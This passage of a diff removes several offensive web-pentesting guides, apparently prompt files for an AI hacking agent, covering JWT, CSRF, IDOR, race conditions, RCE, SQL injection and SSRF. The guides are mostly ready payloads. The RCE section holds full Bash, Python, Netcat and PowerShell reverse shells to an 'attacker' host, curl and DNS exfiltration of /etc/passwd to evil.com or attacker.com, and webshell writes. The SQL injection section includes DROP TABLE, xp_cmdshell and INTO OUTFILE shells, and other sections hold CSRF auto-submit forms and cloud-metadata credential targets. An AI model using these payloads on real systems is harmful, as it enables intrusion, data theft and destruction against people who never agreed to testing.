</algorithm_confusion>
<none_algorithm>
- Set "alg": "none" in header
- Remove signature completely (keep the trailing dot)
</none_algorithm>
<weak_secrets>
Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret'
</weak_secrets>
<kid_manipulation>
- SQL Injection: "kid": "key' UNION SELECT 'secret'--"
- Command injection: "kid": "|sleep 10"
- Path traversal: "kid": "../../../../../../dev/null"
</kid_manipulation>
</common_attacks>
<advanced_techniques>
<jwk_injection>
Embed public key in token header:
{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}
</jwk_injection>
<jku_manipulation>
Set jku/x5u to attacker-controlled URL hosting malicious JWKS
</jku_manipulation>
<timing_attacks>
Extract signature byte-by-byte using verification timing differences
</timing_attacks>
</advanced_techniques>
<oauth_vulnerabilities>
<authorization_code_theft>
- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution
- Missing/predictable state parameter = CSRF
- PKCE downgrade: remove code_challenge parameter
</authorization_code_theft>
</oauth_vulnerabilities>
<saml_attacks>
- Signature exclusion: remove signature element
- Signature wrapping: inject assertions
- XXE in SAML responses
</saml_attacks>
<session_attacks>
- Session fixation: force known session ID
- Session puzzling: mix different session objects
- Race conditions in session generation
</session_attacks>
<password_reset_flaws>
- Predictable tokens: MD5(timestamp), sequential numbers
- Host header injection for reset link poisoning
- Race condition resets
</password_reset_flaws>
<mfa_bypass>
- Response manipulation: change success:false to true
- Status code manipulation: 403 to 200
- Brute force with no rate limiting
- Backup code abuse
</mfa_bypass>
<advanced_bypasses>
<unicode_normalization>
Different representations: admin@exmple.com (fullwidth), аdmin@example.com (Cyrillic)
</unicode_normalization>
<authentication_chaining>
- JWT + SQLi: kid parameter with SQL injection
- OAuth + XSS: steal tokens via XSS
- SAML + XXE + SSRF: chain for internal access
</authentication_chaining>
</advanced_bypasses>
<tools>
- jwt_tool: Comprehensive JWT testing
- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json
</tools>
<validation>
To confirm authentication flaw:
1. Demonstrate account access without credentials
2. Show privilege escalation
3. Prove token forgery works
4. Bypass authentication/2FA requirements
5. Maintain persistent access
</validation>
<false_positives>
NOT a vulnerability if:
- Requires valid credentials
- Only affects own session
- Proper signature validation
- Token expiration enforced
- Rate limiting prevents brute force
</false_positives>
<impact>
- Account takeover: access other users' accounts
- Privilege escalation: user to admin
- Token forgery: create valid tokens
- Bypass mechanisms: skip auth/2FA
- Persistent access: survives logout
</impact>
<remember>Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration.</remember>
</authentication_jwt_guide>
@@ -1,143 +0,0 @@
<business_logic_flaws_guide>
<title>BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION</title>
<critical>Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities.</critical>
<discovery_techniques>
- Map complete user journeys and state transitions
- Document developer assumptions
- Find edge cases in workflows
- Look for missing validation steps
- Identify trust boundaries
</discovery_techniques>
<high_value_targets>
<financial_workflows>
- Price manipulation (negative quantities, decimal truncation)
- Currency conversion abuse (buy weak, refund strong)
- Discount/coupon stacking
- Payment method switching after verification
- Cart manipulation during checkout
</financial_workflows>
<account_management>
- Registration race conditions (same email/username)
- Account type elevation
- Trial period extension
- Subscription downgrade with feature retention
</account_management>
<authorization_flaws>
- Function-level bypass (accessing admin functions as user)
- Object reference manipulation
- Permission inheritance bugs
- Multi-tenancy isolation failures
</authorization_flaws>
</high_value_targets>
<exploitation_techniques>
<race_conditions>
Use race conditions to:
- Double-spend vouchers/credits
- Bypass rate limits
- Create duplicate accounts
- Exploit TOCTOU vulnerabilities
</race_conditions>
<state_manipulation>
- Skip workflow steps
- Replay previous states
- Force invalid state transitions
- Manipulate hidden parameters
</state_manipulation>
<input_manipulation>
- Type confusion: string where int expected
- Boundary values: 0, -1, MAX_INT
- Format abuse: scientific notation, Unicode
- Encoding tricks: double encoding, mixed encoding
</input_manipulation>
</exploitation_techniques>
<common_flaws>
<shopping_cart>
- Add items with negative price
- Modify prices client-side
- Apply expired coupons
- Stack incompatible discounts
- Change currency after price lock
</shopping_cart>
<payment_processing>
- Complete order before payment
- Partial payment acceptance
- Payment replay attacks
- Void after delivery
- Refund more than paid
</payment_processing>
<user_lifecycle>
- Premium features in trial
- Account deletion bypasses
- Privilege retention after demotion
- Transfer restrictions bypass
</user_lifecycle>
</common_flaws>
<advanced_techniques>
<business_constraint_violations>
- Exceed account limits
- Bypass geographic restrictions
- Violate temporal constraints
- Break dependency chains
</business_constraint_violations>
<workflow_abuse>
- Parallel execution of exclusive processes
- Recursive operations (infinite loops)
- Asynchronous timing exploitation
- Callback manipulation
</workflow_abuse>
</advanced_techniques>
<validation>
To confirm business logic flaw:
1. Demonstrate financial impact
2. Show consistent reproduction
3. Prove bypass of intended restrictions
4. Document assumption violation
5. Quantify potential damage
</validation>
<false_positives>
NOT a business logic flaw if:
- Requires technical vulnerability (SQLi, XSS)
- Working as designed (bad design ≠ vulnerability)
- Only affects display/UI
- No security impact
- Requires privileged access
</false_positives>
<impact>
- Financial loss (direct monetary impact)
- Unauthorized access to features/data
- Service disruption
- Compliance violations
- Reputation damage
</impact>
<pro_tips>
1. Think like a malicious user, not a developer
2. Question every assumption
3. Test boundary conditions obsessively
4. Combine multiple small issues
5. Focus on money flows
6. Check state machines thoroughly
7. Abuse features, don't break them
8. Document business impact clearly
9. Test integration points
10. Time is often a factor - exploit it
</pro_tips>
<remember>Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain.</remember>
</business_logic_flaws_guide>
-168
View File
@@ -1,168 +0,0 @@
<csrf_vulnerability_guide>
<title>CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION</title>
<critical>CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser.</critical>
<high_value_targets>
- Password/email change forms
- Money transfer/payment functions
- Account deletion/deactivation
- Permission/role changes
- API key generation/regeneration
- OAuth connection/disconnection
- 2FA enable/disable
- Privacy settings modification
- Admin functions
- File uploads/deletions
</high_value_targets>
<discovery_techniques>
<token_analysis>
Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN
Check if tokens are:
- Actually validated (remove and test)
- Tied to user session
- Reusable across requests
- Present in GET requests
- Predictable or static
</token_analysis>
<http_methods>
- Test if POST endpoints accept GET
- Try method override headers: _method, X-HTTP-Method-Override
- Check if PUT/DELETE lack protection
</http_methods>
</discovery_techniques>
<exploitation_techniques>
<basic_forms>
HTML form auto-submit:
<form action="https://target.com/transfer" method="POST">
<input name="amount" value="1000">
<input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
</basic_forms>
<json_csrf>
For JSON endpoints:
<form enctype="text/plain" action="https://target.com/api">
<input name='{"amount":1000,"to":"attacker","ignore":"' value='"}'>
</form>
</json_csrf>
<multipart_csrf>
For file uploads:
Use XMLHttpRequest with credentials
Generate multipart/form-data boundaries
</multipart_csrf>
</exploitation_techniques>
<bypass_techniques>
<token_bypasses>
- Null token: remove parameter entirely
- Empty token: csrf_token=
- Token from own account: use your valid token
- Token fixation: force known token value
- Method interchange: GET token used for POST
</token_bypasses>
<header_bypasses>
- Referer bypass: use data: URI, about:blank
- Origin bypass: null origin via sandboxed iframe
- CORS misconfigurations
</header_bypasses>
<content_type_tricks>
- Change multipart to application/x-www-form-urlencoded
- Use text/plain for JSON endpoints
- Exploit parsers that accept multiple formats
</content_type_tricks>
</bypass_techniques>
<advanced_techniques>
<subdomain_csrf>
- XSS on subdomain = CSRF on main domain
- Cookie scope abuse (domain=.example.com)
- Subdomain takeover for CSRF
</subdomain_csrf>
<csrf_login>
- Force victim to login as attacker
- Plant backdoors in victim's account
- Access victim's future data
</csrf_login>
<csrf_logout>
- Force logout → login CSRF → account takeover
</csrf_logout>
<double_submit_csrf>
If using double-submit cookies:
- Set cookie via XSS/subdomain
- Cookie injection via header injection
- Cookie tossing attacks
</double_submit_csrf>
</advanced_techniques>
<special_contexts>
<websocket_csrf>
- Cross-origin WebSocket hijacking
- Steal tokens from WebSocket messages
</websocket_csrf>
<graphql_csrf>
- GET requests with query parameter
- Batched mutations
- Subscription abuse
</graphql_csrf>
<api_csrf>
- Bearer tokens in URL parameters
- API keys in GET requests
- Insecure CORS policies
</api_csrf>
</special_contexts>
<validation>
To confirm CSRF:
1. Create working proof-of-concept
2. Test across browsers
3. Verify action completes successfully
4. No user interaction required (beyond visiting page)
5. Works with active session
</validation>
<false_positives>
NOT CSRF if:
- Requires valid CSRF token
- SameSite cookies properly configured
- Proper origin/referer validation
- User interaction required
- Only affects non-sensitive actions
</false_positives>
<impact>
- Account takeover
- Financial loss
- Data modification/deletion
- Privilege escalation
- Privacy violations
</impact>
<pro_tips>
1. Check all state-changing operations
2. Test file upload endpoints
3. Look for token disclosure in URLs
4. Chain with XSS for token theft
5. Check mobile API endpoints
6. Test CORS configurations
7. Verify SameSite cookie settings
8. Look for method override possibilities
9. Test WebSocket endpoints
10. Document clear attack scenario
</pro_tips>
<remember>Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured.</remember>
</csrf_vulnerability_guide>
-164
View File
@@ -1,164 +0,0 @@
<idor_vulnerability_guide>
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES</title>
<critical>IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover.</critical>
<discovery_techniques>
<parameter_analysis>
- Numeric IDs: user_id=123, account=456
- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000
- Encoded IDs: Base64, hex, custom encoding
- Composite IDs: user-org-123-456, ACCT:2024:00123
- Hash-based IDs: Check if predictable (MD5 of sequential numbers)
- Object references in: URLs, POST bodies, headers, cookies, JWT tokens
</parameter_analysis>
<advanced_enumeration>
- Boundary values: 0, -1, null, empty string, max int
- Different formats: {"id":123} vs {"id":"123"}
- ID patterns: increment, decrement, similar patterns
- Wildcard testing: *, %, _, all
- Array notation: id[]=123&id[]=456
</advanced_enumeration>
</discovery_techniques>
<high_value_targets>
- User profiles and PII
- Financial records/transactions
- Private messages/communications
- Medical records
- API keys/secrets
- Internal documents
- Admin functions
- Export endpoints
- Backup files
- Debug information
</high_value_targets>
<exploitation_techniques>
<direct_access>
Simple increment/decrement:
/api/user/123 → /api/user/124
/download?file=report_2024_01.pdf → report_2024_02.pdf
</direct_access>
<mass_enumeration>
Automate ID ranges:
for i in range(1, 10000):
/api/user/{i}/data
</mass_enumeration>
<type_confusion>
- String where int expected: "123" vs 123
- Array where single value expected: [123] vs 123
- Object injection: {"id": {"$ne": null}}
</type_confusion>
</exploitation_techniques>
<advanced_techniques>
<uuid_prediction>
- Time-based UUIDs (version 1): predictable timestamps
- Weak randomness in version 4
- Sequential UUID generation
</uuid_prediction>
<blind_idor>
- Side channel: response time, size differences
- Error message variations
- Boolean-based: exists vs not exists
</blind_idor>
<secondary_idor>
First get list of IDs, then access:
/api/users → [123, 456, 789]
/api/user/789/private-data
</secondary_idor>
</advanced_techniques>
<bypass_techniques>
<parameter_pollution>
?id=123&id=456 (takes last or first?)
?user_id=victim&user_id=attacker
</parameter_pollution>
<encoding_tricks>
- URL encode: %31%32%33
- Double encoding: %25%33%31
- Unicode: \u0031\u0032\u0033
</encoding_tricks>
<case_variation>
userId vs userid vs USERID vs UserId
</case_variation>
<format_switching>
/api/user.json?id=123
/api/user.xml?id=123
/api/user/123.json vs /api/user/123
</format_switching>
</bypass_techniques>
<special_contexts>
<graphql_idor>
Query batching and alias abuse:
query { u1: user(id: 123) { data } u2: user(id: 456) { data } }
</graphql_idor>
<websocket_idor>
Subscribe to other users' channels:
{"subscribe": "user_456_notifications"}
</websocket_idor>
<file_path_idor>
../../../other_user/private.pdf
/files/user_123/../../user_456/data.csv
</file_path_idor>
</special_contexts>
<chaining_attacks>
- IDOR + XSS: Access and weaponize other users' data
- IDOR + CSRF: Force actions on discovered objects
- IDOR + SQLi: Extract all IDs then access
</chaining_attacks>
<validation>
To confirm IDOR:
1. Access data/function without authorization
2. Demonstrate data belongs to another user
3. Show consistent access pattern
4. Prove it's not intended functionality
5. Document security impact
</validation>
<false_positives>
NOT IDOR if:
- Public data by design
- Proper authorization checks
- Only affects own resources
- Rate limiting prevents exploitation
- Data is sanitized/limited
</false_positives>
<impact>
- Personal data exposure
- Financial information theft
- Account takeover
- Business data leak
- Compliance violations (GDPR, HIPAA)
</impact>
<pro_tips>
1. Test all ID parameters systematically
2. Look for patterns in IDs
3. Check export/download functions
4. Test different HTTP methods
5. Monitor for blind IDOR via timing
6. Check mobile APIs separately
7. Look for backup/debug endpoints
8. Test file path traversal
9. Automate enumeration carefully
10. Chain with other vulnerabilities
</pro_tips>
<remember>IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access.</remember>
</idor_vulnerability_guide>
@@ -1,194 +0,0 @@
<race_conditions_guide>
<title>RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY</title>
<critical>Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating.</critical>
<high_value_targets>
- Payment/checkout processes
- Coupon/discount redemption
- Account balance operations
- Voting/rating systems
- Limited resource allocation
- User registration (username claims)
- Password reset flows
- File upload/processing
- API rate limits
- Loyalty points/rewards
- Stock/inventory management
- Withdrawal functions
</high_value_targets>
<discovery_techniques>
<identify_race_windows>
Multi-step processes with gaps between:
1. Check phase (validation/verification)
2. Use phase (action execution)
3. Write phase (state update)
Look for:
- "Check balance then deduct"
- "Verify coupon then apply"
- "Check inventory then purchase"
- "Validate token then consume"
</identify_race_windows>
<detection_methods>
- Parallel requests with same data
- Rapid sequential requests
- Monitor for inconsistent states
- Database transaction analysis
- Response timing variations
</detection_methods>
</discovery_techniques>
<exploitation_tools>
<turbo_intruder>
Python script for Burp Suite Turbo Intruder:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
```
</turbo_intruder>
<manual_methods>
- Browser developer tools (multiple tabs)
- curl with & for background: curl url & curl url &
- Python asyncio/aiohttp
- Go routines
- Node.js Promise.all()
</manual_methods>
</exploitation_tools>
<common_vulnerabilities>
<financial_races>
- Double withdrawal
- Multiple discount applications
- Balance transfer duplication
- Payment bypass
- Cashback multiplication
</financial_races>
<authentication_races>
- Multiple password resets
- Account creation with same email
- 2FA bypass
- Session generation collision
</authentication_races>
<resource_races>
- Inventory depletion bypass
- Rate limit circumvention
- File overwrite
- Token reuse
</resource_races>
</common_vulnerabilities>
<advanced_techniques>
<single_packet_attack>
HTTP/2 multiplexing for true simultaneous delivery:
- All requests in single TCP packet
- Microsecond precision
- Bypass even mutex locks
</single_packet_attack>
<last_byte_sync>
Send all but last byte, then:
1. Hold connections open
2. Send final byte simultaneously
3. Achieve nanosecond precision
</last_byte_sync>
<connection_warming>
Pre-establish connections:
1. Create connection pool
2. Prime with dummy requests
3. Send race requests on warm connections
</connection_warming>
</advanced_techniques>
<bypass_techniques>
<distributed_attacks>
- Multiple source IPs
- Different user sessions
- Varied request headers
- Geographic distribution
</distributed_attacks>
<timing_optimization>
- Measure server processing time
- Align requests with server load
- Exploit maintenance windows
- Target async operations
</timing_optimization>
</bypass_techniques>
<specific_scenarios>
<limit_bypass>
"Limited to 1 per user" → Send N parallel requests
Results: N successful purchases
</limit_bypass>
<balance_manipulation>
Transfer $100 from account with $100 balance:
- 10 parallel transfers
- Each checks balance: $100 available
- All proceed: -$900 balance
</balance_manipulation>
<vote_manipulation>
Single vote limit:
- Send multiple vote requests simultaneously
- All pass validation
- Multiple votes counted
</vote_manipulation>
</specific_scenarios>
<validation>
To confirm race condition:
1. Demonstrate parallel execution success
2. Show single request fails
3. Prove timing dependency
4. Document financial/security impact
5. Achieve consistent reproduction
</validation>
<false_positives>
NOT a race condition if:
- Idempotent operations
- Proper locking mechanisms
- Atomic database operations
- Queue-based processing
- No security impact
</false_positives>
<impact>
- Financial loss (double spending)
- Resource exhaustion
- Data corruption
- Business logic bypass
- Privilege escalation
</impact>
<pro_tips>
1. Use HTTP/2 for better synchronization
2. Automate with Turbo Intruder
3. Test payment flows extensively
4. Monitor database locks
5. Try different concurrency levels
6. Test async operations
7. Look for compensating transactions
8. Check mobile app endpoints
9. Test during high load
10. Document exact timing windows
</pro_tips>
<remember>Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable.</remember>
</race_conditions_guide>
-222
View File
@@ -1,222 +0,0 @@
<rce_vulnerability_guide>
<title>REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION</title>
<critical>RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques.</critical>
<common_injection_contexts>
- System commands: ping, nslookup, traceroute, whois
- File operations: upload, download, convert, resize
- PDF generators: wkhtmltopdf, phantomjs
- Image processors: ImageMagick, GraphicsMagick
- Media converters: ffmpeg, sox
- Archive handlers: tar, zip, 7z
- Version control: git, svn operations
- LDAP queries
- Database backup/restore
- Email sending functions
</common_injection_contexts>
<detection_methods>
<time_based>
- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10)
- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 ||
- PowerShell: ;Start-Sleep -s 10 #
</time_based>
<dns_oob>
- nslookup $(whoami).attacker.com
- ping $(hostname).attacker.com
- curl http://$(cat /etc/passwd | base64).attacker.com
</dns_oob>
<output_based>
- Direct: ;cat /etc/passwd
- Encoded: ;cat /etc/passwd | base64
- Hex: ;xxd -p /etc/passwd
</output_based>
</detection_methods>
<command_injection_vectors>
<basic_payloads>
; id
| id
|| id
& id
&& id
`id`
$(id)
${IFS}id
</basic_payloads>
<bypass_techniques>
- Space bypass: ${IFS}, $IFS$9, <, %09 (tab)
- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i
- Command substitution: $(a=c;b=at;$a$b /etc/passwd)
- Encoding: echo 'aWQ=' | base64 -d | sh
- Case variation: WhOaMi (Windows)
</bypass_techniques>
</command_injection_vectors>
<language_specific_rce>
<php>
- eval($_GET['cmd'])
- system(), exec(), shell_exec(), passthru()
- preg_replace with /e modifier
- assert() with string input
- unserialize() exploitation
</php>
<python>
- eval(), exec()
- subprocess.call(shell=True)
- os.system()
- pickle deserialization
- yaml.load()
</python>
<java>
- Runtime.getRuntime().exec()
- ProcessBuilder
- ScriptEngine eval
- JNDI injection
- Expression Language injection
</java>
<nodejs>
- eval()
- child_process.exec()
- vm.runInContext()
- require() pollution
</nodejs>
</language_specific_rce>
<advanced_exploitation>
<polyglot_payloads>
Works in multiple contexts:
;id;#' |id| #" |id| #
${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
</polyglot_payloads>
<blind_rce>
- DNS exfiltration: $(whoami).evil.com
- HTTP callbacks: curl evil.com/$(id)
- Time delays for boolean extraction
- Write to web root: echo '<?php system($_GET["cmd"]); ?>' > /var/www/shell.php
</blind_rce>
<chained_exploitation>
1. Command injection → Write webshell
2. File upload → LFI → RCE
3. XXE → SSRF → internal RCE
4. SQLi → INTO OUTFILE → RCE
</chained_exploitation>
</advanced_exploitation>
<specific_contexts>
<imagemagick>
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
pop graphic-context
</imagemagick>
<ghostscript>
%!PS
/outfile (%pipe%id) (w) file def
</ghostscript>
<ffmpeg>
#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1.0,
concat:|file:///etc/passwd
</ffmpeg>
<latex>
\immediate\write18{id > /tmp/pwn}
\input{|"cat /etc/passwd"}
</latex>
</specific_contexts>
<container_escapes>
<docker>
- Privileged containers: mount host filesystem
- Docker.sock exposure
- Kernel exploits
- /proc/self/exe overwrite
</docker>
<kubernetes>
- Service account tokens
- Kubelet API access
- Container breakout to node
</kubernetes>
</container_escapes>
<waf_bypasses>
- Unicode normalization
- Double URL encoding
- Case variation mixing
- Null bytes: %00
- Comments: /**/i/**/d
- Alternative commands: hostname vs uname -n
- Path traversal: /usr/bin/id vs id
</waf_bypasses>
<post_exploitation>
<reverse_shells>
Bash: bash -i >& /dev/tcp/attacker/4444 0>&1
Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Netcat: nc -e /bin/sh attacker 4444
PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</reverse_shells>
<persistence>
- Cron jobs
- SSH keys
- Web shells
- Systemd services
</persistence>
</post_exploitation>
<validation>
To confirm RCE:
1. Execute unique command (id, hostname)
2. Demonstrate file system access
3. Show command output retrieval
4. Achieve reverse shell
5. Prove consistent execution
</validation>
<false_positives>
NOT RCE if:
- Only crashes application
- Limited to specific commands
- Sandboxed/containerized properly
- No actual command execution
- Output not retrievable
</false_positives>
<impact>
- Complete system compromise
- Data exfiltration
- Lateral movement
- Backdoor installation
- Service disruption
</impact>
<pro_tips>
1. Try all delimiters: ; | || & &&
2. Test both Unix and Windows commands
3. Use time-based for blind confirmation
4. Chain with other vulnerabilities
5. Check sudo permissions post-exploit
6. Look for SUID binaries
7. Test command substitution variants
8. Monitor DNS for blind RCE
9. Try polyglot payloads first
10. Document full exploitation path
</pro_tips>
<remember>Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection.</remember>
</rce_vulnerability_guide>
@@ -1,216 +0,0 @@
<sql_injection_guide>
<title>SQL INJECTION - MASTER CLASS TECHNIQUES</title>
<critical>SQL Injection = direct database access = game over.</critical>
<injection_points>
- URL parameters: ?id=1
- POST body parameters
- HTTP headers: User-Agent, Referer, X-Forwarded-For
- Cookie values
- JSON/XML payloads
- File upload names
- Session identifiers
</injection_points>
<detection_techniques>
- Time-based: ' AND SLEEP(5)--
- Boolean-based: ' AND '1'='1 vs ' AND '1'='2
- Error-based: ' (provoke verbose errors)
- Out-of-band: DNS/HTTP callbacks
- Differential response: content length changes
- Second-order: stored and triggered later
</detection_techniques>
<uncommon_contexts>
- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END)
- GROUP BY: GROUP BY id HAVING 1=1--
- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))--
- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1
- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1))
</uncommon_contexts>
<basic_payloads>
<union_based>
' UNION SELECT null--
' UNION SELECT null,null--
' UNION SELECT 1,2,3--
' UNION SELECT 1,@@version,3--
' UNION ALL SELECT 1,database(),3--
</union_based>
<error_based>
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
</error_based>
<blind_boolean>
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
' AND (SELECT COUNT(*) FROM users)>5--
</blind_boolean>
<blind_time>
' AND IF(1=1,SLEEP(5),0)--
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
'; SELECT pg_sleep(5)-- (PostgreSQL)
</blind_time>
</basic_payloads>
<advanced_techniques>
<stacked_queries>
'; DROP TABLE users--
'; INSERT INTO admins VALUES ('hacker','password')--
'; UPDATE users SET password='hacked' WHERE username='admin'--
</stacked_queries>
<out_of_band>
MySQL:
' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
' UNION SELECT LOAD_FILE('/etc/passwd')--
MSSQL:
'; EXEC xp_dirtree '\\attacker.com\share'--
'; EXEC xp_cmdshell 'nslookup attacker.com'--
PostgreSQL:
'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')--
</out_of_band>
<file_operations>
MySQL:
' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
' UNION SELECT 1,2,'<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'--
MSSQL:
'; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
PostgreSQL:
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--
</file_operations>
</advanced_techniques>
<filter_bypasses>
<space_bypass>
- Comments: /**/
- Parentheses: UNION(SELECT)
- Backticks: UNION`SELECT`
- Newlines: %0A, %0D
- Tabs: %09
</space_bypass>
<keyword_bypass>
- Case variation: UnIoN SeLeCt
- Comments: UN/**/ION SE/**/LECT
- Encoding: %55nion %53elect
- Double words: UNUNIONION SESELECTLECT
</keyword_bypass>
<waf_bypasses>
- HTTP Parameter Pollution: id=1&id=' UNION SELECT
- JSON/XML format switching
- Chunked encoding
- Unicode normalization
- Scientific notation: 1e0 UNION SELECT
</waf_bypasses>
</filter_bypasses>
<specific_databases>
<mysql>
- Version: @@version
- Database: database()
- User: user(), current_user()
- Tables: information_schema.tables
- Columns: information_schema.columns
</mysql>
<mssql>
- Version: @@version
- Database: db_name()
- User: user_name(), system_user
- Tables: sysobjects WHERE xtype='U'
- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE
</mssql>
<postgresql>
- Version: version()
- Database: current_database()
- User: current_user
- Tables: pg_tables
- Command execution: CREATE EXTENSION
</postgresql>
<oracle>
- Version: SELECT banner FROM v$version
- Database: SELECT ora_database_name FROM dual
- User: SELECT user FROM dual
- Tables: all_tables
</oracle>
</specific_databases>
<nosql_injection>
<mongodb>
{"username": {"$ne": null}, "password": {"$ne": null}}
{"$where": "this.username == 'admin'"}
{"username": {"$regex": "^admin"}}
</mongodb>
<graphql>
{users(where:{OR:[{id:1},{id:2}]}){id,password}}
{__schema{types{name,fields{name}}}}
</graphql>
</nosql_injection>
<automation>
SQLMap flags:
- Risk/Level: --risk=3 --level=5
- Bypass WAF: --tamper=space2comment,between
- OS Shell: --os-shell
- Database dump: --dump-all
- Specific technique: --technique=T (time-based)
</automation>
<validation>
To confirm SQL injection:
1. Demonstrate database version extraction
2. Show database/table enumeration
3. Extract actual data
4. Prove query manipulation
5. Document consistent exploitation
</validation>
<false_positives>
NOT SQLi if:
- Only generic errors
- No time delays work
- Same response for all payloads
- Parameterized queries properly used
- Input validation effective
</false_positives>
<impact>
- Database content theft
- Authentication bypass
- Data manipulation
- Command execution (xp_cmdshell)
- File system access
- Complete database takeover
</impact>
<pro_tips>
1. Always try UNION SELECT first
2. Use sqlmap for automation
3. Test all HTTP headers
4. Try different encodings
5. Check for second-order SQLi
6. Test JSON/XML parameters
7. Look for error messages
8. Try time-based for blind
9. Check INSERT/UPDATE contexts
10. Focus on data extraction
</pro_tips>
<remember>Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does.</remember>
</sql_injection_guide>
-168
View File
@@ -1,168 +0,0 @@
<ssrf_vulnerability_guide>
<title>SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION</title>
<critical>SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise.</critical>
<common_injection_points>
- URL parameters: url=, link=, path=, src=, href=, uri=
- File import/export features
- Webhooks and callbacks
- PDF generators (wkhtmltopdf)
- Image processing (ImageMagick)
- Document parsers
- Payment gateways (IPN callbacks)
- Social media card generators
- URL shorteners/expanders
</common_injection_points>
<hidden_contexts>
- Referer headers in analytics
- Link preview generation
- RSS/Feed fetchers
- Repository cloning (Git/SVN)
- Package managers (npm, pip)
- Calendar invites (ICS files)
- OAuth redirect_uri
- SAML endpoints
- GraphQL field resolvers
</hidden_contexts>
<cloud_metadata>
<aws>
Legacy: http://169.254.169.254/latest/meta-data/
IMDSv2: Requires token but check if app proxies headers
Key targets: /iam/security-credentials/, /user-data/
</aws>
<google_cloud>
http://metadata.google.internal/computeMetadata/v1/
Requires: Metadata-Flavor: Google header
Target: /instance/service-accounts/default/token
</google_cloud>
<azure>
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Requires: Metadata: true header
OAuth: /metadata/identity/oauth2/token
</azure>
</cloud_metadata>
<internal_services>
<port_scanning>
Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017
</port_scanning>
<service_fingerprinting>
- Elasticsearch: http://localhost:9200/_cat/indices
- Redis: dict://localhost:6379/INFO
- MongoDB: http://localhost:27017/test
- Docker: http://localhost:2375/v1.24/containers/json
- Kubernetes: https://kubernetes.default.svc/api/v1/
</service_fingerprinting>
</internal_services>
<protocol_exploitation>
<gopher>
